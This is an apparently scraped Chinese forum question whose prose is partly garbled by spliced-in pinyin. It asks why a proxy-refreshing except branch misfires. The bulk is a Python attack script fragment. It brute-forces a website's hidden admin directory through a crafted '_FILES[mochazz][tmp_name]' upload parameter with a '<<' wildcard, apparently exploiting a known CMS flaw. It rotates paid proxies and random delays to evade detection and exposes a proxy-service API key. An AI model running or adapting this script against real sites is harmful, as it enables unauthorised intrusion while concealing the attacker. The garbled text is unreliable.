當(dāng)代理可用時(shí)，繼續(xù)使用當(dāng)前代理。如果代理不可用，就在except里面再請(qǐng)求一次獲取proxy_url.
現(xiàn)在的問題是，即使當(dāng)前代理可用，except里面的代碼還是會(huì)執(zhí)行。。

def get_proxy():
    proxyapi = 'http://piping.mogumiao.com/proxy/api/get_ip_bs?appKey=93be1b258fbb4df5a298be6ba74dc5c4&count=1&expiryDate=0&format=1&newLine=2'
    req = requests.get(proxyapi)
    json_content = json.loads(req.content)['msg']
    for i in json_content:
        print json_content
        ip = i['ip']
        port = i['port']
        proxy_url = str("http://"+ip+":"+port)
    return proxy_url
proxies = get_proxy()
for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        time.sleep(random.randint(2,5))
        try:
            r = requests.post(url,data=data,proxies=proxies)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                flag = 1
                back_dir = pre
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
        except:
            proxies = get_proxy()